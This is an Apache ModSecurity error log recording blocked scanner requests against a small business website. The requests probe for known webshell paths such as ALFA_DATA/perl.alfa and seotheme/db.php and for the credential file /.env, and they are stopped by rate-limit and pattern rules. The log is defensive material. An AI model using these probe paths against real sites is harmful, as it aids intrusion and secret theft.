[Sun Dec 21 22:40:45.804303 2025] [:error] [pid 59158:tid 59168] [client 104.215.59.38:3158] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aUgG7Y7NvyNF8ab5VgVnngAAAMg"]
[Sun Dec 21 22:40:47.158080 2025] [:error] [pid 59158:tid 59183] [client 104.215.59.38:28530] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mek.php"] [unique_id "aUgG747NvyNF8ab5VgVnoAAAANc"]
[Sun Dec 21 22:40:48.838015 2025] [:error] [pid 59067:tid 59093] [client 104.215.59.38:27468] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mek.php"] [unique_id "aUgG8MtpsOP1NfIK_qKF0QAAABM"]
[Sun Dec 21 22:40:50.465721 2025] [:error] [pid 59158:tid 59181] [client 104.215.59.38:22446] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mek.php"] [unique_id "aUgG8o7NvyNF8ab5VgVnqQAAANU"]
[Sun Dec 21 22:40:51.973421 2025] [:error] [pid 65237:tid 65263] [client 104.215.59.38:22401] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mek.php"] [unique_id "aUgG81VJYjxIpnUJfgJh5gAAAZg"]
[Sun Dec 21 22:40:52.993792 2025] [:error] [pid 59158:tid 59161] [client 104.215.59.38:22454] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUgG9I7NvyNF8ab5VgVnswAAAME"]
[Sun Dec 21 22:40:54.342504 2025] [:error] [pid 59068:tid 59123] [client 104.215.59.38:28516] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUgG9hmLyLqWUlrjwyexPwAAAFY"]
[Sun Dec 21 22:40:55.952757 2025] [:error] [pid 59068:tid 59125] [client 104.215.59.38:28519] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUgG9xmLyLqWUlrjwyexRAAAAFg"]
[Sun Dec 21 22:40:58.045461 2025] [:error] [pid 42755:tid 42770] [client 104.215.59.38:3119] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUgG-uW0XvxgXMTJJbv48QAAAU0"]
[Sun Dec 21 22:40:59.138144 2025] [:error] [pid 59070:tid 59130] [client 104.215.59.38:3792] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aUgG-33dhXne9KX1kgJxcAAAAII"]
[Sun Dec 21 22:41:00.255979 2025] [:error] [pid 59158:tid 59166] [client 104.215.59.38:40348] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aUgG_I7NvyNF8ab5VgVnuQAAAMY"]
[Sun Dec 21 22:41:00.823597 2025] [:error] [pid 59068:tid 59115] [client 104.215.59.38:22409] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aUgG_BmLyLqWUlrjwyexWAAAAE4"]
[Sun Dec 21 22:41:01.861612 2025] [:error] [pid 59070:tid 59149] [client 104.215.59.38:51721] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aUgG_X3dhXne9KX1kgJxdwAAAJU"]
[Sun Dec 21 22:41:03.385627 2025] [:error] [pid 59067:tid 59087] [client 104.215.59.38:3552] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pepe.php"] [unique_id "aUgG_8tpsOP1NfIK_qKF6gAAAA0"]
[Sun Dec 21 22:41:04.663242 2025] [:error] [pid 42755:tid 42774] [client 104.215.59.38:51713] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pepe.php"] [unique_id "aUgHAOW0XvxgXMTJJbv4_gAAAVE"]
[Sun Dec 21 22:41:05.281165 2025] [:error] [pid 42755:tid 42770] [client 104.215.59.38:27494] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pepe.php"] [unique_id "aUgHAeW0XvxgXMTJJbv5AAAAAU0"]
[Sun Dec 21 22:41:05.820275 2025] [:error] [pid 59068:tid 59117] [client 104.215.59.38:29540] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pepe.php"] [unique_id "aUgHARmLyLqWUlrjwyexYQAAAFA"]
[Sun Dec 21 22:41:06.817528 2025] [:error] [pid 59068:tid 59119] [client 104.215.59.38:28492] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e.php"] [unique_id "aUgHAhmLyLqWUlrjwyexYgAAAFI"]
[Sun Dec 21 22:41:07.971003 2025] [:error] [pid 30183:tid 30206] [client 104.215.59.38:51773] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e.php"] [unique_id "aUgHA-CmP2zCzk_WZcUw5gAAARU"]
[Mon Dec 22 01:08:11.405605 2025] [:error] [pid 45308:tid 45352] [client 192.144.148.122:34060] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUgpe2QKrTzAeGeriX3JiQAAAIg"]
[Mon Dec 22 06:35:33.707277 2025] [:error] [pid 58172:tid 58181] [client 170.106.35.137:60790] [client 170.106.35.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUh2NeSVKDT5jWOcnSX-YgAAAMc"]
[Mon Dec 22 06:50:37.488205 2025] [:error] [pid 33564:tid 33589] [client 125.165.109.159:3391] [client 125.165.109.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aUh5vQSHeG6oLmMnKY622AAAAhY"]
[Mon Dec 22 07:37:29.396660 2025] [:error] [pid 33440:tid 33459] [client 52.13.171.147:65165] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiEuZOsUWKqgxu6QTR3dAAAARE"]
[Mon Dec 22 07:37:30.175598 2025] [:error] [pid 33472:tid 33514] [client 52.13.171.147:61345] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aUiEup5p2WQpPIK8HAkwcAAAAY0"]
[Mon Dec 22 07:37:31.368616 2025] [:error] [pid 58079:tid 58133] [client 52.13.171.147:54559] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiEu3xLB7WYaNS5A7jaXAAAAFQ"]
[Mon Dec 22 07:37:31.756003 2025] [:error] [pid 58078:tid 58094] [client 52.13.171.147:58448] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiEu5WKg9Bf8njHlB6BiAAAAAs"]
[Mon Dec 22 07:37:32.145799 2025] [:error] [pid 33565:tid 33601] [client 52.13.171.147:63742] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aUiEvNOWX69q8T0m_yKGVwAAAkc"]
[Mon Dec 22 10:20:12.385598 2025] [:error] [pid 58078:tid 58089] [client 2.58.56.27:51410] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq3JWKg9Bf8njHlB6ltgAAAAY"], referer: www.google.com
[Mon Dec 22 10:20:12.388655 2025] [:error] [pid 58079:tid 58131] [client 2.58.56.27:53043] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq3HxLB7WYaNS5A7j3oAAAAFI"], referer: www.google.com
[Mon Dec 22 10:20:12.399326 2025] [:error] [pid 33643:tid 33663] [client 2.58.56.27:53885] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiq3EoNwyN4xVhAvNOmvwAAApE"]
[Mon Dec 22 10:20:12.805200 2025] [:error] [pid 58079:tid 58122] [client 2.58.56.27:60027] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq3HxLB7WYaNS5A7j3pAAAAEk"], referer: www.google.com
[Mon Dec 22 10:20:12.809921 2025] [:error] [pid 33440:tid 33443] [client 2.58.56.27:52897] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiq3JOsUWKqgxu6QTSVgQAAAQE"]
[Mon Dec 22 10:20:13.072891 2025] [:error] [pid 33564:tid 33591] [client 2.58.56.27:58357] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq3QSHeG6oLmMnKY4GRAAAAhg"], referer: www.google.com
[Mon Dec 22 10:20:13.466496 2025] [:error] [pid 58079:tid 58134] [client 2.58.56.27:59030] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiq3XxLB7WYaNS5A7j3rwAAAFU"]
[Mon Dec 22 10:20:13.466698 2025] [:error] [pid 58079:tid 58116] [client 2.58.56.27:63344] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq3XxLB7WYaNS5A7j3rgAAAEM"], referer: www.google.com
[Mon Dec 22 10:20:13.551023 2025] [:error] [pid 58078:tid 58102] [client 2.58.56.27:52970] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-plain.php"] [unique_id "aUiq3ZWKg9Bf8njHlB6lxAAAABM"], referer: www.google.com
[Mon Dec 22 10:20:13.743928 2025] [:error] [pid 33565:tid 33610] [client 2.58.56.27:57213] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq3dOWX69q8T0m_yKfCwAAAlA"], referer: www.google.com
[Mon Dec 22 10:20:14.131845 2025] [:error] [pid 33472:tid 33507] [client 2.58.56.27:49657] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiq3p5p2WQpPIK8HAlR6QAAAYY"]
[Mon Dec 22 10:20:14.181201 2025] [:error] [pid 33472:tid 33513] [client 2.58.56.27:58470] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq3p5p2WQpPIK8HAlR7QAAAYw"], referer: www.google.com
[Mon Dec 22 10:20:14.343641 2025] [:error] [pid 58078:tid 58088] [client 2.58.56.27:61529] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq3pWKg9Bf8njHlB6l2AAAAAU"], referer: www.google.com
[Mon Dec 22 10:20:14.767739 2025] [:error] [pid 58078:tid 58083] [client 2.58.56.27:59497] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUiq3pWKg9Bf8njHlB6l5AAAAAA"]
[Mon Dec 22 10:20:14.777444 2025] [:error] [pid 58078:tid 58096] [client 2.58.56.27:59514] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq3pWKg9Bf8njHlB6l5QAAAA0"], referer: www.google.com
[Mon Dec 22 10:20:14.897160 2025] [:error] [pid 58078:tid 58095] [client 2.58.56.27:52727] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-plain.php"] [unique_id "aUiq3pWKg9Bf8njHlB6l5wAAAAw"], referer: www.google.com
[Mon Dec 22 10:20:15.030625 2025] [:error] [pid 33440:tid 33442] [client 2.58.56.27:62356] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq35OsUWKqgxu6QTSVqAAAAQA"], referer: www.google.com
[Mon Dec 22 10:20:15.249108 2025] [:error] [pid 33471:tid 33486] [client 2.58.56.27:55096] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq375BeNE7regJ7izFvQAAAUw"], referer: www.google.com
[Mon Dec 22 10:20:16.639743 2025] [:error] [pid 58079:tid 58130] [client 2.58.56.27:59339] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-plain.php"] [unique_id "aUiq4HxLB7WYaNS5A7j38QAAAFE"], referer: www.google.com
[Mon Dec 22 10:20:16.817719 2025] [:error] [pid 58079:tid 58123] [client 2.58.56.27:56261] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4HxLB7WYaNS5A7j39QAAAEo"], referer: www.google.com
[Mon Dec 22 10:20:17.144598 2025] [:error] [pid 33440:tid 33442] [client 2.58.56.27:50005] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq4ZOsUWKqgxu6QTSVyAAAAQA"], referer: www.google.com
[Mon Dec 22 10:20:18.242982 2025] [:error] [pid 33535:tid 33561] [client 2.58.56.27:56218] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-plain.php"] [unique_id "aUiq4mOCI8D9Xtn-n7QcpAAAAdg"], referer: www.google.com
[Mon Dec 22 10:20:18.575868 2025] [:error] [pid 33643:tid 33652] [client 2.58.56.27:60800] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4koNwyN4xVhAvNOnXQAAAoY"], referer: www.google.com
[Mon Dec 22 10:20:18.904821 2025] [:error] [pid 33564:tid 33569] [client 2.58.56.27:52808] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq4gSHeG6oLmMnKY4G0wAAAgI"], referer: www.google.com
[Mon Dec 22 10:20:19.970473 2025] [:error] [pid 33440:tid 33465] [client 2.58.56.27:52662] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-plain.php"] [unique_id "aUiq45OsUWKqgxu6QTSWCAAAARc"], referer: www.google.com
[Mon Dec 22 10:20:20.193164 2025] [:error] [pid 58172:tid 58174] [client 2.58.56.27:55008] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5OSVKDT5jWOcnSUl2wAAAMA"], referer: www.google.com
